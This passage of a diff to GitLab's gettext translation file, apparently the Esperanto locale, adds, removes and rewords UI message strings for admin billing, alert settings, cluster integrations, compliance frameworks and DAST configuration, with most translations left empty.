msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr "Elekti dosierojn"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr "Kontribuantoj"
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr "Horzono por Cron"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
